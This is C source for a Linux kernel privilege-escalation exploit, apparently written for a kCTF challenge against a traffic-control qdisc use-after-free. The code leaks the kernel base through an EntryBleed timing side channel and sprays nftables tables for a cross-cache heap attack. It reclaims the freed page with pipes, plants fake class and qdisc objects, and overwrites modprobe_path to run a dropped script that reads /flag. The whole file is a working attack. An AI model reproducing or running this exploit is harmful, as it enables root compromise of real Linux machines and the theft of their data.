#define PIPE_MAX 32
#define PIPE_READ 0
#define PIPE_WRITE 1

// An array to hold pipe fds
int g_pipes_arr[PIPE_MAX][2];

// Allocate pipes 
void allocate_pipes(void) {
    for (int i = 0; i < PIPE_MAX; i++) {
        if (pipe(g_pipes_arr[i]) == -1) {
            perror("pipe");
            exit(-1);
        }
    }
}

// Attempt to reclaim our page by allocating pages to back the pipes
void reclaim_page(void) {
    char write_buf[4096] = { 0 };
    memset(&write_buf[0], 'B', 4096);

    for (int i = 0; i < PIPE_MAX; i++) {
        write(g_pipes_arr[i][PIPE_WRITE], write_buf, 4096);
    }
}

#define NUM_SPRAY_OBJS 4096UL
#define USERDATA_SIZE 128UL
#define MNL_BUF_SIZE 4096UL

// Global for user data, set once
char g_userdata[USERDATA_SIZE];

// Creates a single nftables table to spray userdata
void create_table(const char *table_name) {
    if (!table_name) {
        fprintf(stderr, "Error: Table name is NULL\n");
        return;
    }

    struct mnl_socket *mnl_sock;
    struct mnl_nlmsg_batch *batch;
    char buf[MNL_BUF_SIZE];

    // Open Netlink socket
    mnl_sock = mnl_socket_open(NETLINK_NETFILTER);
    if (!mnl_sock) {
        perror("mnl_socket_open");
        exit(EXIT_FAILURE);
    }

    // Connect to Netlink
    if (mnl_socket_bind(mnl_sock, 0, MNL_SOCKET_AUTOPID) < 0) {
        perror("mnl_socket_bind");
        mnl_socket_close(mnl_sock);
        exit(EXIT_FAILURE);
    }

    // Initialize Netlink batch (one message per batch)
    memset(buf, 0, sizeof(buf));
    batch = mnl_nlmsg_batch_start(buf, sizeof(buf));

    int seq = 0;
    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    struct nftnl_table *table = nftnl_table_alloc();
    if (!table) {
        perror("nftnl_table_alloc");
        mnl_socket_close(mnl_sock);
        return;
    }

    // Set table attributes
    nftnl_table_set_u32(table, NFTNL_TABLE_FAMILY, NFPROTO_INET);
    nftnl_table_set_str(table, NFTNL_TABLE_NAME, table_name);

    // Set 128-byte userdata
    nftnl_table_set_data(table, NFTNL_TABLE_USERDATA, g_userdata, USERDATA_SIZE);

    // Build Netlink message
    struct nlmsghdr *msg_hdr = nftnl_table_nlmsg_build_hdr(
        mnl_nlmsg_batch_current(batch),
        NFT_MSG_NEWTABLE,
        NFPROTO_INET,
        NLM_F_CREATE | NLM_F_EXCL | NLM_F_ACK,
        seq++
    );

    // Attach table payload
    nftnl_table_nlmsg_build_payload(msg_hdr, table);
    nftnl_table_free(table);
    mnl_nlmsg_batch_next(batch);

    // End batch (one message only)
    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    // Send the batch (one message per batch)
    if (mnl_socket_sendto(mnl_sock, mnl_nlmsg_batch_head(batch),
                          mnl_nlmsg_batch_size(batch)) < 0) {
        perror("mnl_socket_sendto");
        mnl_socket_close(mnl_sock);
        return;
    }

    ssize_t recv_len = mnl_socket_recvfrom(mnl_sock, buf, sizeof(buf));
    if (recv_len < 0) {
        perror("mnl_socket_recvfrom");
    } else {
        struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
        if (nlh->nlmsg_type == NLMSG_ERROR) {
            struct nlmsgerr *err = (struct nlmsgerr *)mnl_nlmsg_get_payload(nlh);
            if (err->error) {
                fprintf(stderr, "Netlink error: %s\n", strerror(-err->error));
            }
        }
    }

    // Cleanup
    mnl_nlmsg_batch_stop(batch);
    mnl_socket_close(mnl_sock);
}

// Deletes a single nftables table
void delete_table(const char *table_name) {
    if (!table_name) {
        fprintf(stderr, "Error: Table name is NULL\n");
        return;
    }

    struct mnl_socket *mnl_sock;
    struct mnl_nlmsg_batch *batch;
    char buf[MNL_BUF_SIZE];

    // Open Netlink socket
    mnl_sock = mnl_socket_open(NETLINK_NETFILTER);
    if (!mnl_sock) {
        perror("mnl_socket_open");
        exit(EXIT_FAILURE);
    }

    // Connect to Netlink
    if (mnl_socket_bind(mnl_sock, 0, MNL_SOCKET_AUTOPID) < 0) {
        perror("mnl_socket_bind");
        mnl_socket_close(mnl_sock);
        exit(EXIT_FAILURE);
    }

    // Initialize Netlink batch
    memset(buf, 0, sizeof(buf));
    batch = mnl_nlmsg_batch_start(buf, sizeof(buf));

    int seq = 0;
    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    struct nftnl_table *table = nftnl_table_alloc();
    if (!table) {
        perror("nftnl_table_alloc");
        mnl_socket_close(mnl_sock);
        return;
    }

    // Set table attributes
    nftnl_table_set_u32(table, NFTNL_TABLE_FAMILY, NFPROTO_INET);
    nftnl_table_set_str(table, NFTNL_TABLE_NAME, table_name);

    // Build Netlink message for table deletion
    struct nlmsghdr *msg_hdr = nftnl_table_nlmsg_build_hdr(
        mnl_nlmsg_batch_current(batch),
        NFT_MSG_DELTABLE,
        NFPROTO_INET,
        NLM_F_ACK,
        seq++
    );

    // Attach table payload
    nftnl_table_nlmsg_build_payload(msg_hdr, table);
    nftnl_table_free(table);
    mnl_nlmsg_batch_next(batch);

    // End batch
    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    // Send the batch
    if (mnl_socket_sendto(mnl_sock, mnl_nlmsg_batch_head(batch),
                          mnl_nlmsg_batch_size(batch)) < 0) {
        perror("mnl_socket_sendto");
        mnl_socket_close(mnl_sock);
        return;
    }

    ssize_t recv_len = mnl_socket_recvfrom(mnl_sock, buf, sizeof(buf));
    if (recv_len < 0) {
        perror("mnl_socket_recvfrom");
    } else {
        struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
        if (nlh->nlmsg_type == NLMSG_ERROR) {
            struct nlmsgerr *err = (struct nlmsgerr *)mnl_nlmsg_get_payload(nlh);
            if (err->error) {
                fprintf(stderr, "Netlink error: %s\n", strerror(-err->error));
                printf("Table name was: %s\n", table_name);
            }
        }
    }

    // Cleanup
    mnl_nlmsg_batch_stop(batch);
    mnl_socket_close(mnl_sock);
}

void spray_tables(void) {
    for (int i = 0; i < NUM_SPRAY_OBJS; i++) {
        char table_name[32];
        snprintf(table_name, sizeof(table_name), "table.%d", i);
        create_table(table_name);
    }
}

// Try to use entry bleed to leak the kernel base
#define KERNEL_LOWER_BOUND 0xffffffff80000000ULL
#define KERNEL_UPPER_BOUND 0xffffffffc0000000ULL

uint64_t sidechannel(uint64_t addr) {
  uint64_t a, b, c, d;
  asm volatile (".intel_syntax noprefix;"
    "mfence;"
    "rdtscp;"
    "mov %0, rax;"
    "mov %1, rdx;"
    "xor rax, rax;"
    "lfence;"
    "prefetchnta qword ptr [%4];"
    "prefetcht2 qword ptr [%4];"
    "xor rax, rax;"
    "lfence;"
    "rdtscp;"
    "mov %2, rax;"
    "mov %3, rdx;"
    "mfence;"
    ".att_syntax;"
    : "=r" (a), "=r" (b), "=r" (c), "=r" (d)
    : "r" (addr)
    : "rax", "rbx", "rcx", "rdx");
  a = (b << 32) | a;
  c = (d << 32) | c;
  return c - a;
}

#define STEP 0x100000ull
#define DUMMY_ITERATIONS 5
#define ITERATIONS 100
#define ARR_SIZE (KERNEL_UPPER_BOUND - KERNEL_LOWER_BOUND) / STEP

uint64_t leak_syscall_entry(uint64_t scan_start, uint64_t scan_end) 
{
    uint64_t data[ARR_SIZE] = {0};
    uint64_t min = ~0, addr = ~0;

    for (int i = 0; i < ITERATIONS + DUMMY_ITERATIONS; i++)
    {
        for (uint64_t idx = 0; idx < ARR_SIZE; idx++) 
        {
            uint64_t test = scan_start + idx * STEP;
            syscall(104);
            uint64_t time = sidechannel(test);
            if (i >= DUMMY_ITERATIONS)
                data[idx] += time;
        }
    }

    for (int i = 0; i < ARR_SIZE; i++)
    {
        data[i] /= ITERATIONS;
        if (data[i] < min)
        {
            min = data[i];
            addr = scan_start + i * STEP;
        }
    }

    return addr;
}

// Setup our class/qdisc hierarchy
void setup_classes(void) {
    // Create root qdisc
    printf("[>] Creating root qdisc...\n");
    system("./tc.bin qdisc add dev lo root handle 1:0 drr");

    // Create class 1:1
    printf("[>] Creating class 1:1...\n");
    system("./tc.bin class add dev lo classid 1:1 drr");

    // Create class 1:2
    printf("[>] Creating class 1:3...\n");
    system("./tc.bin class add dev lo classid 1:3 drr");

    // Assign plug qdisc to class 1:1
    printf("[>] Assigning plug qdisc to class 1:1...\n");
    system("./tc.bin qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024");

    // Assign pfifo qdisc to class 1:3
    printf("[>] Assigning pfifo qdisc to class 1:3...\n");
    system("./tc.bin qdisc add dev lo parent 1:3 handle 3:0 pfifo");
}

// Cross cache defines
#define OBJS_PER_SLAB 32UL  // Number of objects in a kmalloc-128 page
#define CPU_PARTIAL 30UL    // Number of partial pages for kmalloc-128
#define OVERFLOW_FACTOR 4UL // We want to overkill this 

// Cross cache globals
typedef struct cc_bucket {
    uint64_t min;
    uint64_t max;
} cc_bucket_t;

cc_bucket_t cc1_bucket = { 0 };
cc_bucket_t cc2_bucket = { 0 };
cc_bucket_t cc3_bucket = { 0 };

// Cross-cache stage 1: Spray enough objects that we start getting brand new
// slab allocations in kmalloc-128 and also reserve enough pages that when
// they are placed on the partials list they will evict empty pages 
void cc_1(void) {
    // Calculate the number of objects to spray
    uint64_t spray_amt = (OBJS_PER_SLAB * (CPU_PARTIAL + 1)) * OVERFLOW_FACTOR;

    // Spray the tables
    for (int i = 0; i < spray_amt; i++) {
        char table_name[32];
        snprintf(table_name, sizeof(table_name), "table.%d", i);
        create_table(table_name);
    }

    // Update the bucket
    cc1_bucket.min = 0;
    cc1_bucket.max = spray_amt - 1;
}

// Cross-cache stage 2: Allocate enough objects that we probably land somewhere
// in the middle of a new slab (page) so that our object is probably not the 
// exact first or last object on the page
void cc_2(void) {
    // Calculate the number of objects to spray
    uint64_t spray_amt = OBJS_PER_SLAB - 1;

    // Take into account cc1 when spraying
    uint64_t offset = cc1_bucket.max + 1;
    for (int i = 0; i < spray_amt; i++) {
        char table_name[32];
        snprintf(table_name, sizeof(table_name), "table.%ld", i + offset);
        create_table(table_name);
    }

    // Update the bucket
    cc2_bucket.min = offset;
    cc2_bucket.max = offset + spray_amt;
}

// Cross-cache stage 3: Allocate enough objects to complete the victim slab and 
// probably go over onto a new brand new slab
void cc_3(void) {
    // Calculate the number of objects to spray
    uint64_t spray_amt = OBJS_PER_SLAB + 2; // Extra one here for class 1:1?

    // Take into account cc2 when spraying
    uint64_t offset = cc2_bucket.max;
    for (int i = 0; i < spray_amt; i++) {
        char table_name[32];
        snprintf(table_name, sizeof(table_name), "table.%ld", i + offset);
        create_table(table_name);
    }

    // Update the bucket
    cc3_bucket.min = offset;
    cc3_bucket.max = offset + spray_amt; 
}

// Free all of the objects we allocated in steps 2 and 3. This will place these
// pages on the kmalloc-128 partials list
void cc_4(void) {
    // Calculate the id to start with and the amt to free
    uint64_t start = cc2_bucket.min;
    uint64_t free_amt = cc3_bucket.max - start;

    for (int i = 0; i < free_amt; i++) {
        char table_name[32];
        snprintf(table_name, sizeof(table_name), "table.%ld", i + start);
        delete_table(table_name);
    }
}

// Free an object on each of the pages that we allocated in step 1. This will
// place all of these pages onto the partials list and evict our empty page
void cc_5(void) {
    // Pick the first object to free
    uint64_t start = cc1_bucket.min;

    // Establish the max free object
    uint64_t max = cc1_bucket.max;

    // Free one object per page 
    for (int i = start; i < max; i += OBJS_PER_SLAB) {
        char table_name[32];
        snprintf(table_name, sizeof(table_name), "table.%d", i);
        delete_table(table_name);
    }
}

char *required_files[] = {
    "tc.bin",
    "ip.bin",
    "socat.bin",
    "iptables.bin"
};

size_t num_files = 3;

int get_kernel_version(void) {
    struct utsname buffer;
    
    if (uname(&buffer) != 0) {
        perror("uname");
        exit(-1);
    }

    int major_version = 0;
    sscanf(buffer.release, "%d", &major_version);

    return major_version;
}

// Fake class data
uint8_t g_class[128] = { 0 };

// Setup the fake class contents in the pipes
void setup_fake_class(void) {
    // Set each one up with cyclical pattern for debugging
    uint64_t *ptr = (uint64_t *)&g_class[0];
    uint64_t val = 0x4141414141414141;
    for (int i = 0; i < 128 / 8; i++) {
        ptr[i] = val;
        val += 0x0101010101010101;
    }

    // Fake &cl->qdisc, set it to the address of the kernfs buffer + 8 to avoid
    // a NULL later when we use the address of &qdisc->gso_skb
    ptr[12] = g_kernfs_addr + 8;

    // Fake the &cl->deficit value, set it such that it is always greater than
    // the "len" returned from qdisc_pkt_len inside of drr_dequeue
    ptr[13] = 0xFFFFFFFFFFFFFFFF;

    // Fake class data is setup, we can fit 32 on a page. So each pipe gets
    // 32 fake classes in its backing page. Reset all the pipe buffer contents
    // to be the fake class
    char drain[4096] = { 0 };
    for (int i = 0; i < PIPE_MAX; i++) {
        // Drain the current pipe
        read(g_pipes_arr[i][PIPE_READ], drain, 4096);

        // Write the class contents to the pipe 32 times
        for (int j = 0; j < 32; j++) {
            ssize_t bytes_written = 0;
            while (bytes_written < 128) {
                ssize_t ret = 
                    write(
                        g_pipes_arr[i][PIPE_WRITE],
                        g_class + bytes_written,
                        128 - bytes_written);
                if (ret <= 0) {
                    perror("write failed");
                    exit(EXIT_FAILURE);
                }
                bytes_written += ret;
            }
        }
    }
}


// Fake qdisc data
uint8_t g_qdisc[4096] = { 0 };

// Send controlled data to deducible address in kernel from kernel base
void fill_kernfs_buf(void) {
    // Create a lockfile that we can actually use
    setenv("XTABLES_LOCKFILE", "/tmp/xtables.lock", 1);

    // Redirect stdout and stderr to /dev/null
    int devnull = open("/dev/null", O_WRONLY);
    if (devnull < 0) {
        exit(-1);
    }
    dup2(devnull, STDOUT_FILENO);
    dup2(devnull, STDERR_FILENO);
    close(devnull);

    // Execute iptables to fill buffer
    execl("./iptables.bin", "iptables", "-A", "OUTPUT", "-m", "cgroup", "--path",
        g_qdisc, "-j", "LOG", (char *)NULL);
}

// Check for NULL byte in u64
int has_null(uint64_t val) {
    for (int i = 0; i < 8; i++) {
        if (((val >> (i * 8)) & 0xFF) == 0) {
            return 1;
        }
    }
    return 0;
}

void setup_fake_qdisc(size_t num_complete) {
    // Set each one up with cyclical pattern for debugging
    uint64_t *ptr = (uint64_t *)&g_qdisc[0];
    uint64_t val = 0x0101010101010101;
    for (int i = 0; i < 4906 / 8; i++) {
        ptr[i] = val;
        val += 0x0101010101010101;
    }

    // Fake &qdisc->ops, set it kind of far into the kernfs_buf to avoid conflict
    ptr[4] = g_kernfs_addr + 32;

    // Fake &qdisc->ops->peek
    ptr[11] = g_write_gadget_addr;

    // The write address for the write gadget
    ptr[6] = g_write_target + num_complete;

    // Inside qdisc_dequeue_peeked, we do skb_peek(&sch->gso_skb) and that
    // address has to point to itself, so make &sch->gso_skb equal itself
    ptr[17] = g_kernfs_addr + 0x88;

    // Place pointer to our return NULL gadget so that qdisc_dequeue_peeked
    // returns NULL
    ptr[2] = g_null_gadget_addr;

    // NULL gadget does `return dst->dev->mut` and dev happens to be the first
    // field, so set ours to a pointer that points to NULL (NULL happens later
    // in the kernfs_buf)
    ptr[1] = g_kernfs_addr + 512;

    // These addresses cannot have a NULL in them or else our kernfs_buf gets
    // NULL terminated and we're out of luck
    if (
        has_null(g_kernfs_addr + 120) || 
        has_null(g_write_gadget_addr) ||
        has_null(g_write_target)      ||
        has_null(g_kernfs_addr + 0x88)
        ) {
        printf("NULL ptr in these values: 0x%lx, 0x%lx\n",
            g_kernfs_addr + 120, g_write_gadget_addr);
        exit(-1);
    }
}

// Send kernfs data to the kernel
void send_kernfs_data(void) {
    int pid = fork();
    if (pid < 0) {
        perror("fork");
        exit(-1);
    }

    // Child
    if (pid == 0) {
        fill_kernfs_buf(); // Doesn't return
    }

    // Parent, wait for child to finish
    int status;
    waitpid(pid, &status, 0);
}

// Trigger the bug
void trigger_bug(void) {
    system("echo \"\" | ./socat.bin -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10002))");
}

// Trigger bug and increment kernel value for /sbin/modeprobe overwrite
void increment_kernel_val(size_t num_complete) {
    // Reset the fake class data, because deficit changes each iteration
    setup_fake_class();

    // Reset the fake qdisc data, we NULL out the field in the increment gadget
    setup_fake_qdisc(num_complete);

    // Send the data to the kernel
    send_kernfs_data();

    // Trigger the bug
    trigger_bug();
}

// Overwrite modprobe path
void overwrite_modprobe(void) {
    // We have an increment gadget as our write primitive. This means we'll 
    // target each byte of /sbin/modprobe at a time and increment that byte
    // until it's the right value. We start here: /'s'bin/modprobe. The way
    // that I decided to do this was to simply encode the logic in this function
    // by simulating each write as we do it in the kernel and then we can
    // check in the program if we're done or not. So let's setup our simulated
    // values:
    // 
    // What we're starting with
    const char sim_start[] = "/sbin/modprobe";

    // What our goal is
    const char sim_goal[] = "/proc/500/fd/3";

    // Buffer to simulate writes
    uint8_t sim_modprobe[128] = { 0 };
    memcpy(sim_modprobe, sim_start, sizeof(sim_start));

    // What we're targeting right now. We start at offset 1 because '/' already
    // works for us
    char *sim_write_target = (char *)&sim_modprobe[1];

    // Iterate until the memory is identical
    size_t num_complete = 0;
    int64_t *write_ptr = (int64_t *)sim_write_target;
    while (memcmp(sim_goal, sim_modprobe, sizeof(sim_goal))) {
        // Iterate until the character matches
        while (memcmp(sim_write_target, sim_goal + num_complete + 1, 1)) {
            // Increment the val and set it
            int64_t curr_val = *write_ptr;
            curr_val++;
            *write_ptr = curr_val;

            // Increment the value in the kernel
            increment_kernel_val(num_complete);
        }

        // This character matches, move to the next character
        sim_write_target++;
        write_ptr = (int64_t *)sim_write_target;
        num_complete++;
    }
}

#define BUFFER_SIZE 1024

// What children do
void child_func() {
    // Open the privesc script
    int fd = open("privesc.sh", O_RDONLY);
    if (fd != 3) {
        printf("Got the wrong fd for privesc.sh\n");
        exit(-1);
    }

    char buffer[BUFFER_SIZE];
    ssize_t bytes_read;

    // Block until there's data to read from stdin
    while ((bytes_read = read(STDIN_FILENO, buffer, sizeof(buffer))) > 0) {
        write(STDOUT_FILENO, buffer, bytes_read);
    }

    // Handle possible read errors
    if (bytes_read < 0) {
        perror("read");
        exit(EXIT_FAILURE);
    }

    // Exit
    exit(0);
}

// How many child processes we spawn
#define NUM_CHILDS 500UL

// Spray children processes so we have a predictable pid in the container
void spray_children(void) {
    for (int i = 0; i < NUM_CHILDS; i++) {
        int pid = fork();
        if (pid < 0) {
            perror("fork");
            exit(-1);
        }

        // Child
        if (pid == 0) {
            child_func();
        }
    }
}

int main(void) {
    // Drop scripts to disk
    printf("[>] Dropping scripts...\n");
    system("printf '\xff\xff\xff\xff' > trigger.sh");
    system("echo '#!/bin/bash' > privesc.sh");
    system("echo 'cat /flag > /proc/500/fd/0' >> privesc.sh");
    system("chmod +x trigger.sh privesc.sh");

    // Spray children processes
    printf("[>] Spraying child pids...\n");
    spray_children();

    // Check kernel version
    int major = get_kernel_version();
    if (major != 5 && major != 6) {
        printf("Wrong kernel version\n");
        exit(-1);
    }

    // Set offsets for kernel 5
    if (major == 5) {
        g_kernfs_addr = kernfs_addr_off_5;
        g_entry_syscall_off = entry_syscall_off_5;
        g_write_gadget_addr = write_gadget_off_5;
        g_modprobe_addr = modprobe_off_5;
        g_null_gadget_addr = null_gadget_off_5;
    }

    // Set offsets for kernel 6
    else {
        g_kernfs_addr = kernfs_addr_off_6;
        g_entry_syscall_off = entry_syscall_off_6;
        g_write_gadget_addr = write_gadget_off_6;
        g_modprobe_addr = modprobe_off_6;
        g_null_gadget_addr = null_gadget_off_6;
    }

    // Make sure we have the files we need, this is just for my lab not kCTF
    system("cp /usr/sbin/tc.bin /tmp/tc.bin >/dev/null 2>&1");
    system("cp /usr/sbin/ip.bin /tmp/ip.bin >/dev/null 2>&1");
    system("cp /usr/sbin/socat.bin /tmp/socat.bin >/dev/null 2>&1");
    system("cp /usr/sbin/iptables.bin /tmp/iptables.bin >/dev/null 2>&1");

    for (size_t i = 0; i < num_files; i++) {
        if (access(required_files[i], F_OK) != 0) {
            printf("%s did not exist, exiting...\n", required_files[i]);
            exit(-1);
        }
    }

    // Determine scan start and scan end
    uint64_t scan_start = KERNEL_LOWER_BOUND + g_entry_syscall_off;
    uint64_t scan_end = KERNEL_UPPER_BOUND + g_entry_syscall_off;

    // Attempt to entry bleed the kernel base
    g_kernel_base = leak_syscall_entry(scan_start, scan_end) - g_entry_syscall_off;
    printf("[>] Kernel base address: 0x%lx\n", g_kernel_base);

    // Update kernfs addr
    g_kernfs_addr += g_kernel_base;
    printf("[>] Kernfs buffer address: 0x%lx\n", g_kernfs_addr);

    // Update arb write gadget
    g_write_gadget_addr += g_kernel_base;
    printf("[>] Arbitrary write gadget address: 0x%lx\n", g_write_gadget_addr);

    // Update modprobe
    g_modprobe_addr += g_kernel_base;
    printf("[>] Modprobe path address: 0x%lx\n", g_modprobe_addr);

    // Initialize the write target, we have to add 1 because /sbin/modprobe
    // already contains a '/' leading character that we'll retain
    g_write_target = (g_modprobe_addr - WRITE_TARGET_OFFSET) + 1;

    // Update NULL gadget
    g_null_gadget_addr += g_kernel_base;
    printf("[>] Return NULL gadget address: 0x%lx\n", g_null_gadget_addr);

    // Get CAPs
    printf("[>] Doing the unshare...\n");
    unshare_stuff();

    // Pin our process
    printf("[>] Pinning our process to core-0...\n");
    pin_to_core_0();

    // Setup listener
    printf("[>] Starting UDP listener...\n");
    start_udp_listener();

    // Allocate pipes
    printf("[>] Creating pipes...\n");
    allocate_pipes();

    // Allocate classes 1:1 and 1:3 and give them qdiscs
    printf("[>] Setting up initial classes...\n");
    setup_classes();

    // Execute cross-cache stage 1
    printf("[>] Executing cross-cache stage-1...\n");
    cc_1();

    // Execute cross-cache stage 2
    printf("[>] Executing cross-cache stage-2...\n");
    cc_2();

    // Allocate the victim class
    printf("[>] Allocating victim class 1:2...\n");
    system("./tc.bin class add dev lo classid 1:2 drr");

    // Execute the bug to re-parent 1:3's qdisc to 1:2
    printf("[>] Executing bug to reparent qdisc to 1:2 from 1:3...\n");
    system("./tc.bin qdisc replace dev lo parent 1:2 handle 3:0");

    // Display the setup
    printf("[>] Displaying hierarchy setup...\n");
    system("./tc.bin class ls dev lo");
    system("./tc.bin qdisc ls");

    // Enqueue packets in 1:1 and 1:2 qdiscs
    printf("[>] Enqueueing packets in 1:1 and 1:2...\n");
    system("echo \"\" | ./socat.bin -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001))");
    system("echo \"\" | ./socat.bin -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10002))");

    // Delete classes 1:1 and 1:2 
    printf("[>] Deleting classes 1:1 and 1:2 and then cross-cache stage-3...\n");
    system("./tc.bin class delete dev lo classid 1:1");
    system("./tc.bin class delete dev lo classid 1:2");
    cc_3();

    // Execute cross-cache stage 4
    printf("[>] Executing cross-cache stage-4...\n");
    cc_4();

    // Execute cross-cache stage 5 and reclaim page with pipe writes
    printf("[>] Executing cross-cache stage-5 and reclaiming page...\n");
    cc_5();
    reclaim_page();

    // Overwrite modprobe path
    printf("[>] Overwriting modprobe path...\n");
    overwrite_modprobe();
    printf("[>] Modprobe path is *probably* overwritten lol!\n");

    // Execute trigger
    system("./trigger.sh");
    exit(-1);
}